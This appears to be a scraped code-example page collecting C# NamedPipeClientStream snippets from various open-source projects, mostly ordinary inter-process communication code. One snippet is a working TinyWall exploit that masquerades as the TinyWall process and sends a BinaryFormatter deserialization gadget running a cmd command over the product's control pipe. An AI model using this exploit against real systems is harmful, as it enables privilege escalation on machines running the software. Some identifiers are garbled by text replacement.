                    pipeClient.CopyTo(fs);
                }
                Console.WriteLine("File, Received from server: {0}", fileName);

            }
            Console.Write("Press Enter to continue...");
            Console.ReadLine();
           */
            #endregion
        }

19 Source : Program.cs
with GNU General Public License v3.0
from juliourena

static void Main(string[] args)
        {
            string tinywallPath = @"C:\Program Files (x86)\TinyWall\TinyWall.exe";

            if (!Masquerade.TyniwallProcess(tinywallPath).Contains("TinyWall.exe"))
            { 
                Console.WriteLine("[-] Masquerading Fail Closing...");
                Console.ReadLine();
                Environment.Exit(0);
            }

            NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "TinyWallController", PipeDirection.InOut);
            // Connect to the pipe or wait until the pipe is available.
            Console.Write("Attempting to connect to File Transfer pipe...");
            //time out can also be specified
            pipeClient.Connect();

            Console.WriteLine("Connected to File Transfer pipe.");

            // Create a simple multicast delegate.
            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            // Create set with original comparer.
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);

            // Setup values to call calc.exe with a dummy argument.
            set.Add("cmd");
            set.Add("/c whoami > c:\\whoami.txt");

            TypeConfuseDelegate(d);

            Console.WriteLine();
            Console.WriteLine("[+] Sending Payload to write a whoami.txt file in c:\\");

            new BinaryFormatter
            {
                replacedemblyFormat = FormatterreplacedemblyStyle.Simple
            }.Serialize(pipeClient, set);

            Console.ReadKey();
        }

19 Source : DebugPipeClient.cs
with MIT License
from Macad3D

void _Open()
        {
            try
            {
                _PipeClient = new NamedPipeClientStream(".", "MacadDebug", PipeDirection.InOut, PipeOptions.WriteThrough);
                _PipeClient.Connect();
                _PipeClient.ReadMode = PipeTransmissionMode.Message;
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
        }

19 Source : IPC.cs
with Mozilla Public License 2.0
from mozilla-services

private void ClientListenerThread()
        {
            while (true)
            {
                if (!pipe.IsConnected)
                {
                    try
                    {
                        ((NamedPipeClientStream)pipe).Connect();
                    }
                    catch (Exception e)
                    {
                        ErrorHandling.ErrorHandler.Handle(e, ErrorHandling.LogLevel.Error);
                        continue;
                    }
                }

                IPCHandlers.HandleIncomingMessage(ReadFromPipe(pipe), this);
            }
        }

19 Source : IPC.cs
with Mozilla Public License 2.0
from mozilla-services

public static void WriteToPipe(NamedPipeClientStream pipe, IPCMessage message)
        {
            if (!pipe.IsConnected)
            {
                pipe.Connect();
            }

            var bytes = Encoding.UTF8.GetBytes(message.ToString());
            pipe.Write(bytes, 0, bytes.Length);
            pipe.Flush();
        }

19 Source : NvimAPI.cs
with Apache License 2.0
from neovim

private static Stream GetStreamFromServerAddress(string serverAddress)
    {
      var lastColonIndex = serverAddress.LastIndexOf(':');
      if (lastColonIndex != -1 && lastColonIndex != 0
                               && int.TryParse(
                                    serverAddress.Substring(lastColonIndex + 1),
                                    out var port))
      {
        // TCP socket
        var tcpClient = new TcpClient();
        var hostname = serverAddress.Substring(0, lastColonIndex);
        tcpClient.Connect(hostname, port);
        return tcpClient.GetStream();
      }

      // Interprocess communication socket
      if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
      {
        // Named Pipe on Windows
        var match = Regex.Match(serverAddress,
          @"\\\\(?'serverName'[^\\]+)\\pipe\\(?'pipeName'[^\\]+)");
        var serverName = match.Groups["serverName"].Value;
        var pipeName = match.Groups["pipeName"].Value;
        var pipeStream = new NamedPipeClientStream(serverName, pipeName,
          PipeDirection.InOut, PipeOptions.Asynchronous);
        pipeStream.Connect();
        return pipeStream;
      }

      // Unix Domain Socket on other OSes
      var unixDomainSocket = new Socket(AddressFamily.Unix,
        SocketType.Stream, ProtocolType.Unspecified);
      unixDomainSocket.Connect(new UnixDomainSocketEndPoint(serverAddress));
      return new NetworkStream(unixDomainSocket, true);
    }

19 Source : PipeServer.cs
with GNU General Public License v3.0
from nightness

public void Stop()
        {
            if (IsRunning)
            {
                IsRunning = false;
                // ToDo: Fix Hack - Close out the existing WaitForConnection()
                using (var closeExisting = new NamedPipeClientStream(PipeName))
                {
                    closeExisting.Connect();
                }
                _terminateHandle.WaitOne();
            }
        }

19 Source : RemoteChannelClient.cs
with MIT License
from oleg-shilo

void PushNotifications()
        {
            try
            {
                string name = "npp.css.dbg.notifications." + Process.GetCurrentProcess().Id;
                using (var pipeClient = new NamedPipeClientStream(".", name, PipeDirection.Out))
                using (var streamWriter = new StreamWriter(pipeClient))
                {
                    pipeClient.Connect();
                    Trace("Connected as Out.Client.");
                    streamWriter.AutoFlush = true;

                    while (true)
                    {
                        string notification = MessageQueue.WaitForNotification();
                        if (notification == NppCommand.Exit)
                            break;
                        streamWriter.WriteLine(notification);
                        pipeClient.WaitForPipeDrain();
                    }
                }
            }
            catch (Exception e)
            {
                Trace("ERROR: " + e.Message);
            }
            Trace("Out.Client disconnected.");
        }

19 Source : RemoteChannelClient.cs
with MIT License
from oleg-shilo

public void PullCommands()
        {
            try
            {
                string name = "npp.css.dbg.commands." + Process.GetCurrentProcess().Id;

                using (var pipeClient = new NamedPipeClientStream(".", name, PipeDirection.In))
                using (var reader = new StreamReader(pipeClient))
                {
                    pipeClient.Connect();
                    Trace("Connected as In.Client.");

                    string command;
                    while ((command = reader.ReadLine()) != null)
                    {
                        MessageQueue.AddCommand(command);

                        if (command == NppCommand.Exit)
                        {
                            MessageQueue.AddNotification(NppCommand.Exit); //shutdown the PushNotifications channel
                            break;
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Trace("ERROR: " + e.Message);
            }
            Trace("In.Client disconnected. 2");
            //Process.GetCurrentProcess().Kill();
            MessageQueue.AddCommand("exit");
        }

19 Source : PipeNet.cs
with MIT License
from Planshit

private void Connect(string server)
        {
            client = new NamedPipeClientStream(server);
            client.Connect();
            writer = new StreamWriter(client);
            writer.AutoFlush = true;
            isConnected = true;
            Debug.WriteLine("已成功连接到:" + server);
        }

19 Source : App.xaml.cs
with MIT License
from Planshit

private void OnStartup(object sender, StartupEventArgs e)
        {
            if (IsRuning())
            {
                //发送标记
                var client = new NamedPipeClientStream(nameof(ProjectEvent));
                client.Connect();
                StreamWriter writer = new StreamWriter(client);
                string input = "0";
                writer.WriteLine(input);
                writer.Flush();
                Current.Shutdown();
            }
            else
            {
                lifeWindow = new Window();
                lifeWindow = new Window();
                lifeWindow.Width = 0;
                lifeWindow.Height = 0;
                lifeWindow.Visibility = Visibility.Hidden;
                lifeWindow.AllowsTransparency = true;
                lifeWindow.ShowInTaskbar = false;
                lifeWindow.Opacity = 0;
                lifeWindow.WindowStyle = WindowStyle.None;
                lifeWindow.WindowState = WindowState.Minimized;
                lifeWindow.Show();
                DispatcherUnhandledException += App_DispatcherUnhandledException;
                var app = _serviceProvider.GetService<IApp>();
                app.Run();
                var notifyIconVM = _serviceProvider.GetService<NotifyIconVM>();

                notifyIcon = (TaskbarIcon)FindResource("NotifyIcon");
                if (notifyIcon != null)
                {
#if DEBUG
                    notifyIconVM.ToolTipText = "[Debug] Project Event";
#endif
                    notifyIcon.DataContext = notifyIconVM;
                }
                StartPipeServer();
            }
        }

19 Source : MyNotificationActivator.cs
with MIT License
from Planshit

public override void OnActivated(string invokedArgs, NotificationUserInput userInput, string appUserModelId)
        {

            Application.Current.Dispatcher.Invoke(delegate
            {
                if (invokedArgs.Length > 0)
                {
                    ToastActionType actionType = (ToastActionType)int.Parse(invokedArgs.Split('`')[0]);
                    switch (actionType)
                    {
                        case ToastActionType.Url:
                            string url = invokedArgs.Split('`')[1];
                            if (!string.IsNullOrEmpty(url))
                            {
                                //MessageBox.Show("打开URL:" + url);
                                ProcessStartInfo psi = new ProcessStartInfo
                                {
                                    FileName = url,
                                    UseShellExecute = true
                                };
                                Process.Start(psi);
                            }
                            break;
                        default:
                            var client = new NamedPipeClientStream(nameof(ProjectEvent));
                            client.Connect();
                            StreamWriter writer = new StreamWriter(client);
                            string input = "0";
                            writer.WriteLine(input);
                            writer.Flush();
                            break;
                    }
                }
            });
            // TODO: Handle activation
        }

19 Source : Program.cs
with MIT License
from ProfessionalCSharp

private static void PipesWriter2(string serverName, string pipeName)
        {
            var pipeWriter = new NamedPipeClientStream(serverName, pipeName, PipeDirection.Out);
            using (var writer = new StreamWriter(pipeWriter))
            {
                pipeWriter.Connect();
                Console.WriteLine("writer connected");

                bool completed = false;
                while (!completed)
                {
                    string input = Console.ReadLine();
                    if (input == "bye") completed = true;

                    writer.WriteLine(input);
                    writer.Flush();
                }
            }
            Console.WriteLine("completed writing");
        }

19 Source : Program.cs
with MIT License
from ProfessionalCSharp

private static void PipesWriter(string serverName, string pipeName)
        {
            try
            {
                using (var pipeWriter = new NamedPipeClientStream(serverName, pipeName, PipeDirection.Out))
                {
                    pipeWriter.Connect();
                    Console.WriteLine("writer connected");

                    bool completed = false;
                    while (!completed)
                    {
                        string input = Console.ReadLine();
                        if (input == "bye") completed = true;

                        byte[] buffer = Encoding.UTF8.GetBytes(input);
                        pipeWriter.Write(buffer, 0, buffer.Length);
                    }
                }
                Console.WriteLine("completed writing");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }

19 Source : BehaviorAnalysis.cs
with MIT License
from ProgramYuan

private void SendData(object data)
        {
            try
            {
                NamedPipeClientStream _pipeClient = new NamedPipeClientStream(".", "closePipe", PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation);
                _pipeClient.Connect();
                StreamWriter sw = new StreamWriter(_pipeClient);
                sw.WriteLine(data);
                sw.Flush();
                Thread.Sleep(1000);
                sw.Close();
            }
            catch (Exception ex)
            {
                Debug.WriteLine(ex.Message);
            }
        }

19 Source : PipeServerManager.cs
with GNU General Public License v3.0
from QL-Win

public static void SendMessage(string pipeMessage, string path = null)
        {
            if (path == null)
                path = "";

            try
            {
                using (var client = new NamedPipeClientStream(".", PipeName, PipeDirection.Out))
                {
                    client.Connect();

                    using (var writer = new StreamWriter(client))
                    {
                        writer.WriteLine($"{pipeMessage}|{path}");
                        writer.Flush();
                    }
                }
            }
            catch (Exception e)
            {
                Debug.WriteLine(e.ToString());
            }
        }

19 Source : ReloadHostingStartup.cs
with MIT License
from shirhatti

public void Configure(IWebHostBuilder builder)
        {
            if (builder == null)
            {
                throw new ArgumentNullException(nameof(builder));
            }
            ClearStartupHookEnvironmentVariable();

            if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
            {
                uint listenHttpFd, listenHttpsFd;
                try
                {
                    listenHttpFd = uint.Parse(Environment.GetEnvironmentVariable("ZOCKET_LISTEN_HTTP_FD"));
                    listenHttpsFd = uint.Parse(Environment.GetEnvironmentVariable("ZOCKET_LISTEN_HTTPS_FD"));
                    builder.ConfigureServices(services =>
                    {
                        services.PostConfigure<KestrelServerOptions>(options =>
                        {
                            options.ListenHandle(listenHttpFd);
                            options.ListenHandle(listenHttpsFd, options => options.UseHttps());
                        });
                    });
                }
                catch (FormatException)
                {
                    return;
                }

                // We do this to prevent leaking a socket
                fcntl((int)listenHttpFd, F_SETFD, FD_CLOEXEC);
                fcntl((int)listenHttpsFd, F_SETFD, FD_CLOEXEC);

            }
            else if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                // TODO Verify that the port preplaceded in is the same as the one in launch settings
                // TODO make this async? (no async startup though)
                var pipeName = Environment.GetEnvironmentVariable("ZOCKET_PIPE_NAME");
                var namedPipeServer = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                namedPipeServer.Connect();
                namedPipeServer.Write(BitConverter.GetBytes(Process.GetCurrentProcess().Id));

                // ProtocolInformation is usually ~630 bytes. TODO may need a read loop here to make sure we have all bytes
                var buffer = new byte[1024];

                // Read size, then read SocketInfo
                var length = namedPipeServer.Read(buffer, 0, sizeof(int));
                var socketInfoLength = BitConverter.ToInt32(buffer, 0);
                length = namedPipeServer.Read(buffer, 0, socketInfoLength);
                var socketInfo = new SocketInformation()
                {
                    ProtocolInformation = (new Memory<byte>(buffer).Slice(0, length)).ToArray()
                };

                // Shouldn't need to dispose of socket as Kestrel will dispose for us?
                var httpSocket = new Socket(socketInfo);

                // Repeat for second socketInfo
                length = namedPipeServer.Read(buffer, 0, sizeof(int));
                socketInfoLength = BitConverter.ToInt32(buffer, 0);
                length = namedPipeServer.Read(buffer, 0, socketInfoLength);
                socketInfo = new SocketInformation()
                {
                    ProtocolInformation = (new Memory<byte>(buffer).Slice(0, length)).ToArray()
                };
                var httpsSocket = new Socket(socketInfo);

                builder.ConfigureServices(services =>
                {
                    services.PostConfigure<KestrelServerOptions>(options =>
                    {
                        options.ListenHandle((uint)httpSocket.Handle);
                        options.ListenHandle((uint)httpsSocket.Handle, options => options.UseHttps());
                    });
                });
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from SilverEzhik

static void serverTimeout()
        {
            Thread.Sleep(timer);
            timeout = true;
            var pipe = new NamedPipeClientStream(umpvwPipe);
            try
            {
                pipe.Connect();
            }
            catch (Exception)
            {
                Application.Exit();
            }
            pipe.Dispose();

        }

19 Source : Program.cs
with GNU General Public License v3.0
from SilverEzhik

static NamedPipeClientStream MpvLaunch()
        {
            //if mpv is not running, start it
            if (!File.Exists(pipePrefix + mpvPipe))
            {
                //ensure we are launching the mpv executable from the current folder. also launch the .exe specifically as we don't need the command line.
                Process.Start(mpvPath, @"--input-ipc-server=" + pipePrefix + mpvPipe);
            }
            var pipe = new NamedPipeClientStream(mpvPipe);
            pipe.Connect();
            return pipe;
        }

19 Source : NamedPipeClient.cs
with MIT License
from thijse

public static NamedPipeClientStream CreateAndConnectPipe(string pipeName)
        {
            var pipe = CreatePipe(pipeName);
            pipe.Connect();
            return pipe;
        }

19 Source : NamedPipeClient.cs
with MIT License
from unknownv2

public bool Connect()
        {
            if (_pipeStream != null)
            {
                throw new InvalidPipeOperationException("Client pipe already connected");
            }
            if (_pipeName == null)
            {
                throw new InvalidPipeOperationException("Client pipe name was not set");
            }

            try
            {
                _pipeStream = new NamedPipeClientStream(
                    ".",
                    _pipeName,
                    PipeDirection.InOut,
                    PipeOptions.Asynchronous,
                    TokenImpersonationLevel.Impersonation);

                _pipeStream.Connect();
            }
            catch (IOException e)
            {
                Console.WriteLine(e.ToString());
                return false;
            }

            Connection = new PipeConnection(_pipeStream, () => _connectionStopped);
            MessageHandler = new MessageHandler(Connection);

            return true;
        }

19 Source : SendCommand.cs
with MIT License
from uoinfusion

public static void Send(string pipeName, string command)
        {
            using (var pipeClient = new NamedPipeClientStream(".", pipeName, PipeDirection.Out, PipeOptions.None))
            {
                Console.WriteLine($"Connecting to './{pipeName}' pipe...");
                pipeClient.Connect();

                Console.WriteLine($"Sending '{command}'");
                var writer = new StreamString(pipeClient);
                writer.WriteString(command);
            }
        }

19 Source : Win32PsuedoTerminalProvider.cs
with MIT License
from VitalElement

private Stream CreatePipe(string pipeName, PipeDirection direction)
        {
            string serverName = ".";

            if (pipeName.StartsWith("\\"))
            {
                int slash3 = pipeName.IndexOf('\\', 2);

                if (slash3 != -1)
                {
                    serverName = pipeName.Substring(2, slash3 - 2);
                }

                int slash4 = pipeName.IndexOf('\\', slash3 + 1);

                if (slash4 != -1)
                {
                    pipeName = pipeName.Substring(slash4 + 1);
                }
            }

            var pipe = new NamedPipeClientStream(serverName, pipeName, direction);

            pipe.Connect();

            return pipe;
        }

19 Source : Program.cs
with MIT License
from wranders

static void Main(string[] args)
        {
            if (args.Length == 0 || args[0].IndexOf("state=", StringComparison.InvariantCulture) < 0)
                return;

            var Query = HttpUtility.ParseQueryString(args[0]);
            NamedPipeClientStream Client = new NamedPipeClientStream(Query["state"]);
            StreamWriter Writer = new StreamWriter(Client);

            try
            {
                Client.Connect();

                Writer.WriteLine(args[0]);
                Writer.Flush();
                Client.WaitForPipeDrain();
                Client.Close();
            }
            catch (IOException)
            {
                Client.Dispose();
            }
        }

19 Source : MpvPipeStream.cs
with GNU General Public License v3.0
from x0wllaar

public void Connect()
        {
            if (!Task.Run(() => { this.PipeClient.Connect(); }).Wait(ConnectionTimeout))
            {
                this.OnConnectionTimeout?.Invoke();
                return;
            }

            this.PipeClient.ReadMode = PipeTransmissionMode.Byte;

            this.PipeWriter = new StreamWriter(this.PipeClient)
            {
                AutoFlush = true
            };
            this.PipeReader = new StreamReader(this.PipeClient);

            
            this.ReadLineLoop();
            Log.Information("Connected to MPV");
        }

See More Examples